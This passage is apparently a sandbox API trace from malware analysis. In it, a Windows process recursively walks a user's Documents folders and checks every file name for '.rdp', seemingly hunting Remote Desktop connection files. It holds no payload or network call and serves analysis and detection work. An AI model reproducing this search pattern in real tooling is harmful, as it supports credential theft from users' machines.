lpString1="C:\\Users\\EEBsYm5\\Documents\\bN4uNXn1jH\\*.*") returned="C:\\Users\\EEBsYm5\\Documents\\bN4uNXn1jH\\*.*" [0079.585] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\Documents\\bN4uNXn1jH\\*.*", lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 0x6427a8 [0079.585] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.585] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.585] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.585] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.585] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.585] StrStrIA (lpFirst="1 kMu0ovK47.xls", lpSrch=".rdp") returned 0x0 [0079.585] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.585] StrStrIA (lpFirst="1K3F15-LwMeSVfM9WPEN.csv", lpSrch=".rdp") returned 0x0 [0079.585] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.585] StrStrIA (lpFirst="2-61pH6H-7.rtf", lpSrch=".rdp") returned 0x0 [0079.585] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.586] StrStrIA (lpFirst="5dGHS8naDfRYefptC_i.csv", lpSrch=".rdp") returned 0x0 [0079.586] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.586] StrStrIA (lpFirst="5oiqHnHl8I223gpUi.odp", lpSrch=".rdp") returned 0x0 [0079.586] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.586] StrStrIA (lpFirst="6YYy1NE3P.docx", lpSrch=".rdp") returned 0x0 [0079.586] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.586] StrStrIA (lpFirst="akiGCeHcu.pps", lpSrch=".rdp") returned 0x0 [0079.586] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.586] StrStrIA (lpFirst="aWVXS0xGm_yX9G74.odp", lpSrch=".rdp") returned 0x0 [0079.586] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.586] StrStrIA (lpFirst="bPJPw4vR9qx-4Lbgt1.pdf", lpSrch=".rdp") returned 0x0 [0079.586] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.586] StrStrIA (lpFirst="c8TLN9Lc.ots", lpSrch=".rdp") returned 0x0 [0079.586] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.586] StrStrIA (lpFirst="DjzKiKYyG-r5ZB_A7E.odt", lpSrch=".rdp") returned 0x0 [0079.586] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.586] StrStrIA (lpFirst="G2-2X26mG1J.rtf", lpSrch=".rdp") returned 0x0 [0079.586] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.586] StrStrIA (lpFirst="I-ErSALO5I4NQ.odt", lpSrch=".rdp") returned 0x0 [0079.586] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.586] StrStrIA (lpFirst="KI5zb.rtf", lpSrch=".rdp") returned 0x0 [0079.586] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.586] StrStrIA (lpFirst="wyd rMiTKbn.doc", lpSrch=".rdp") returned 0x0 [0079.586] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.586] StrStrIA (lpFirst="XlTI5Em.ods", lpSrch=".rdp") returned 0x0 [0079.586] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.586] StrStrIA (lpFirst="XY082Yh3cauGoKZO1lqV.ods", lpSrch=".rdp") returned 0x0 [0079.586] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 0 [0079.586] FindClose (in: hFindFile=0x6427a8 | out: hFindFile=0x6427a8) returned 1 [0079.586] LocalFree (hMem=0x647ab8) returned 0x0 [0079.586] LocalFree (hMem=0x629248) returned 0x0 [0079.586] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12fd8e | out: lpFindFileData=0x12fd8e) returned 1 [0079.586] StrStrIA (lpFirst="BWMxP oDeQ6SH.pptx", lpSrch=".rdp") returned 0x0 [0079.586] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12fd8e | out: lpFindFileData=0x12fd8e) returned 1 [0079.586] StrStrIA (lpFirst="D9sHIvZRZ.xlsx", lpSrch=".rdp") returned 0x0 [0079.587] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12fd8e | out: lpFindFileData=0x12fd8e) returned 1 [0079.587] StrStrIA (lpFirst="desktop.ini", lpSrch=".rdp") returned 0x0 [0079.587] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12fd8e | out: lpFindFileData=0x12fd8e) returned 1 [0079.587] StrStrIA (lpFirst="dyQ2.docx", lpSrch=".rdp") returned 0x0 [0079.587] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12fd8e | out: lpFindFileData=0x12fd8e) returned 1 [0079.587] StrStrIA (lpFirst="FKH Lcb8aAU__RhP3O.ots", lpSrch=".rdp") returned 0x0 [0079.587] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12fd8e | out: lpFindFileData=0x12fd8e) returned 1 [0079.587] StrStrIA (lpFirst="hBa- 4RMd4XI119PfN2m.ppt", lpSrch=".rdp") returned 0x0 [0079.587] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12fd8e | out: lpFindFileData=0x12fd8e) returned 1 [0079.587] StrStrIA (lpFirst="HVCBMBNQPRE2asGvY9.pptx", lpSrch=".rdp") returned 0x0 [0079.587] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12fd8e | out: lpFindFileData=0x12fd8e) returned 1 [0079.587] StrStrIA (lpFirst="in9THF7XaJvx_YhY_Zlp.pptx", lpSrch=".rdp") returned 0x0 [0079.587] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12fd8e | out: lpFindFileData=0x12fd8e) returned 1 [0079.587] StrStrIA (lpFirst="LgBwx67zqWVuwiY22zLx.pptx", lpSrch=".rdp") returned 0x0 [0079.587] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12fd8e | out: lpFindFileData=0x12fd8e) returned 1 [0079.587] StrStrIA (lpFirst="lvA2V2PJODrd8b.xlsx", lpSrch=".rdp") returned 0x0 [0079.587] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12fd8e | out: lpFindFileData=0x12fd8e) returned 1 [0079.587] StrStrIA (lpFirst="LyzcAiFqaG-JK.docx", lpSrch=".rdp") returned 0x0 [0079.587] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12fd8e | out: lpFindFileData=0x12fd8e) returned 1 [0079.587] lstrcmpiA (lpString1=".", lpString2="My Music") returned -1 [0079.587] lstrcmpiA (lpString1="..", lpString2="My Music") returned -1 [0079.587] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents") returned 26 [0079.587] lstrlenA (lpString="\\") returned 1 [0079.587] LocalAlloc (uFlags=0x40, uBytes=0x9c) returned 0x652b60 [0079.587] lstrcpyA (in: lpString1=0x652b60, lpString2="C:\\Users\\EEBsYm5\\Documents" | out: lpString1="C:\\Users\\EEBsYm5\\Documents") returned="C:\\Users\\EEBsYm5\\Documents" [0079.587] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\") returned="C:\\Users\\EEBsYm5\\Documents\\" [0079.587] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\") returned 27 [0079.587] lstrlenA (lpString="My Music") returned 8 [0079.587] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x629248 [0079.587] lstrcpyA (in: lpString1=0x629248, lpString2="C:\\Users\\EEBsYm5\\Documents\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\") returned="C:\\Users\\EEBsYm5\\Documents\\" [0079.587] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\", lpString2="My Music" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music") returned="C:\\Users\\EEBsYm5\\Documents\\My Music" [0079.587] LocalFree (hMem=0x652b60) returned 0x0 [0079.587] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Music") returned 35 [0079.587] lstrlenA (lpString="\\*.*") returned 4 [0079.587] LocalAlloc (uFlags=0x40, uBytes=0xa8) returned 0x6293a8 [0079.587] lstrcpyA (in: lpString1=0x6293a8, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Music" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music") returned="C:\\Users\\EEBsYm5\\Documents\\My Music" [0079.587] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music\\*.*") returned="C:\\Users\\EEBsYm5\\Documents\\My Music\\*.*" [0079.587] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\Documents\\My Music\\*.*", lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 0x6427a8 [0079.588] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.588] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.588] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.588] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.588] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.588] StrStrIA (lpFirst="desktop.ini", lpSrch=".rdp") returned 0x0 [0079.588] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.588] lstrcmpiA (lpString1=".", lpString2="e3V3VQUNzwc4PR-I5") returned -1 [0079.588] lstrcmpiA (lpString1="..", lpString2="e3V3VQUNzwc4PR-I5") returned -1 [0079.588] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Music") returned 35 [0079.588] lstrlenA (lpString="\\") returned 1 [0079.588] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x629d48 [0079.588] lstrcpyA (in: lpString1=0x629d48, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Music" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music") returned="C:\\Users\\EEBsYm5\\Documents\\My Music" [0079.588] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music\\") returned="C:\\Users\\EEBsYm5\\Documents\\My Music\\" [0079.588] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Music\\") returned 36 [0079.588] lstrlenA (lpString="e3V3VQUNzwc4PR-I5") returned 17 [0079.588] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x643aa8 [0079.588] lstrcpyA (in: lpString1=0x643aa8, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Music\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music\\") returned="C:\\Users\\EEBsYm5\\Documents\\My Music\\" [0079.589] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music\\", lpString2="e3V3VQUNzwc4PR-I5" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music\\e3V3VQUNzwc4PR-I5") returned="C:\\Users\\EEBsYm5\\Documents\\My Music\\e3V3VQUNzwc4PR-I5" [0079.589] LocalFree (hMem=0x629d48) returned 0x0 [0079.589] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Music\\e3V3VQUNzwc4PR-I5") returned 53 [0079.589] lstrlenA (lpString="\\*.*") returned 4 [0079.589] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x655028 [0079.589] lstrcpyA (in: lpString1=0x655028, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Music\\e3V3VQUNzwc4PR-I5" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music\\e3V3VQUNzwc4PR-I5") returned="C:\\Users\\EEBsYm5\\Documents\\My Music\\e3V3VQUNzwc4PR-I5" [0079.589] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music\\e3V3VQUNzwc4PR-I5", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music\\e3V3VQUNzwc4PR-I5\\*.*") returned="C:\\Users\\EEBsYm5\\Documents\\My Music\\e3V3VQUNzwc4PR-I5\\*.*" [0079.589] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\Documents\\My Music\\e3V3VQUNzwc4PR-I5\\*.*", lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 0x6427e8 [0079.589] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.589] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.589] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.589] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.589] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.589] StrStrIA (lpFirst="6In75hooqz1.mp3", lpSrch=".rdp") returned 0x0 [0079.589] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.589] StrStrIA (lpFirst="bfrE75rCm1.mp3", lpSrch=".rdp") returned 0x0 [0079.589] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.589] StrStrIA (lpFirst="D2Pufex.mp3", lpSrch=".rdp") returned 0x0 [0079.589] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.589] StrStrIA (lpFirst="f6ZKgkd7ws8gt.wav", lpSrch=".rdp") returned 0x0 [0079.589] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.589] StrStrIA (lpFirst="mUUgqSjf0.wav", lpSrch=".rdp") returned 0x0 [0079.589] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.589] StrStrIA (lpFirst="WQDGExgYYFLMX.wav", lpSrch=".rdp") returned 0x0 [0079.589] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.589] StrStrIA (lpFirst="yMRHfudkT.mp3", lpSrch=".rdp") returned 0x0 [0079.589] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 0 [0079.589] FindClose (in: hFindFile=0x6427e8 | out: hFindFile=0x6427e8) returned 1 [0079.590] LocalFree (hMem=0x655028) returned 0x0 [0079.590] LocalFree (hMem=0x643aa8) returned 0x0 [0079.590] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.590] lstrcmpiA (lpString1=".", lpString2="PENCU9tg0usQSaovD3MS") returned -1 [0079.590] lstrcmpiA (lpString1="..", lpString2="PENCU9tg0usQSaovD3MS") returned -1 [0079.590] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Music") returned 35 [0079.590] lstrlenA (lpString="\\") returned 1 [0079.590] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x629d48 [0079.590] lstrcpyA (in: lpString1=0x629d48, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Music" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music") returned="C:\\Users\\EEBsYm5\\Documents\\My Music" [0079.590] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music\\") returned="C:\\Users\\EEBsYm5\\Documents\\My Music\\" [0079.590] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Music\\") returned 36 [0079.590] lstrlenA (lpString="PENCU9tg0usQSaovD3MS") returned 20 [0079.590] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x655028 [0079.590] lstrcpyA (in: lpString1=0x655028, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Music\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music\\") returned="C:\\Users\\EEBsYm5\\Documents\\My Music\\" [0079.590] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music\\", lpString2="PENCU9tg0usQSaovD3MS" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS") returned="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS" [0079.590] LocalFree (hMem=0x629d48) returned 0x0 [0079.590] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS") returned 56 [0079.590] lstrlenA (lpString="\\*.*") returned 4 [0079.590] LocalAlloc (uFlags=0x40, uBytes=0xbd) returned 0x66b738 [0079.590] lstrcpyA (in: lpString1=0x66b738, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS") returned="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS" [0079.590] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\*.*") returned="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\*.*" [0079.590] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\*.*", lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 0x6427e8 [0079.590] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.590] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.590] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.590] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.590] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.591] StrStrIA (lpFirst="2j4T0m5B.m4a", lpSrch=".rdp") returned 0x0 [0079.591] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.591] StrStrIA (lpFirst="3HaFoVDaM92Kv.mp3", lpSrch=".rdp") returned 0x0 [0079.591] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.591] lstrcmpiA (lpString1=".", lpString2="azmGPfhQdKY") returned -1 [0079.591] lstrcmpiA (lpString1="..", lpString2="azmGPfhQdKY") returned -1 [0079.591] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS") returned 56 [0079.591] lstrlenA (lpString="\\") returned 1 [0079.591] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x650450 [0079.591] lstrcpyA (in: lpString1=0x650450, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS") returned="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS" [0079.591] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\") returned="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\" [0079.591] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\") returned 57 [0079.591] lstrlenA (lpString="azmGPfhQdKY") returned 11 [0079.591] LocalAlloc (uFlags=0x40, uBytes=0xc5) returned 0x650518 [0079.591] lstrcpyA (in: lpString1=0x650518, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\") returned="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\" [0079.591] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\", lpString2="azmGPfhQdKY" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\azmGPfhQdKY") returned="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\azmGPfhQdKY" [0079.591] LocalFree (hMem=0x650450) returned 0x0 [0079.591] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\azmGPfhQdKY") returned 68 [0079.591] lstrlenA (lpString="\\*.*") returned 4 [0079.591] LocalAlloc (uFlags=0x40, uBytes=0xc9) returned 0x6640d8 [0079.591] lstrcpyA (in: lpString1=0x6640d8, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\azmGPfhQdKY" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\azmGPfhQdKY") returned="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\azmGPfhQdKY" [0079.591] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\azmGPfhQdKY", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\azmGPfhQdKY\\*.*") returned="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\azmGPfhQdKY\\*.*" [0079.591] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\azmGPfhQdKY\\*.*", lpFindFileData=0x12f94a | out: lpFindFileData=0x12f94a) returned 0x642828 [0079.591] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.591] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f94a | out: lpFindFileData=0x12f94a) returned 1 [0079.591] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.591] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.591] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f94a | out: lpFindFileData=0x12f94a) returned 1 [0079.591] StrStrIA (lpFirst="8Bbu.mp3", lpSrch=".rdp") returned 0x0 [0079.591] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f94a | out: lpFindFileData=0x12f94a) returned 1 [0079.591] StrStrIA (lpFirst="kofeOkRFgt.m4a", lpSrch=".rdp") returned 0x0 [0079.592] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f94a | out: lpFindFileData=0x12f94a) returned 1 [0079.592] StrStrIA (lpFirst="LAn4n.wav", lpSrch=".rdp") returned 0x0 [0079.592] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f94a | out: lpFindFileData=0x12f94a) returned 1 [0079.592] StrStrIA (lpFirst="ObYWiz3-w07a3UGEP.m4a", lpSrch=".rdp") returned 0x0 [0079.592] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f94a | out: lpFindFileData=0x12f94a) returned 0 [0079.592] FindClose (in: hFindFile=0x642828 | out: hFindFile=0x642828) returned 1 [0079.592] LocalFree (hMem=0x6640d8) returned 0x0 [0079.592] LocalFree (hMem=0x650518) returned 0x0 [0079.592] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.592] StrStrIA (lpFirst="bI9Cxwin.m4a", lpSrch=".rdp") returned 0x0 [0079.592] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.592] lstrcmpiA (lpString1=".", lpString2="fbjkwNHF6iov5Du8Xv2") returned -1 [0079.592] lstrcmpiA (lpString1="..", lpString2="fbjkwNHF6iov5Du8Xv2") returned -1 [0079.592] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS") returned 56 [0079.592] lstrlenA (lpString="\\") returned 1 [0079.592] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x650450 [0079.592] lstrcpyA (in: lpString1=0x650450, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS") returned="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS" [0079.592] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\") returned="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\" [0079.592] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\") returned 57 [0079.592] lstrlenA (lpString="fbjkwNHF6iov5Du8Xv2") returned 19 [0079.592] LocalAlloc (uFlags=0x40, uBytes=0xcd) returned 0x6640d8 [0079.592] lstrcpyA (in: lpString1=0x6640d8, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\") returned="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\" [0079.592] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\", lpString2="fbjkwNHF6iov5Du8Xv2" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\fbjkwNHF6iov5Du8Xv2") returned="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\fbjkwNHF6iov5Du8Xv2" [0079.592] LocalFree (hMem=0x650450) returned 0x0 [0079.592] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\fbjkwNHF6iov5Du8Xv2") returned 76 [0079.592] lstrlenA (lpString="\\*.*") returned 4 [0079.592] LocalAlloc (uFlags=0x40, uBytes=0xd1) returned 0x65b5e8 [0079.592] lstrcpyA (in: lpString1=0x65b5e8, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\fbjkwNHF6iov5Du8Xv2" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\fbjkwNHF6iov5Du8Xv2") returned="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\fbjkwNHF6iov5Du8Xv2" [0079.592] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\fbjkwNHF6iov5Du8Xv2", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\fbjkwNHF6iov5Du8Xv2\\*.*") returned="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\fbjkwNHF6iov5Du8Xv2\\*.*" 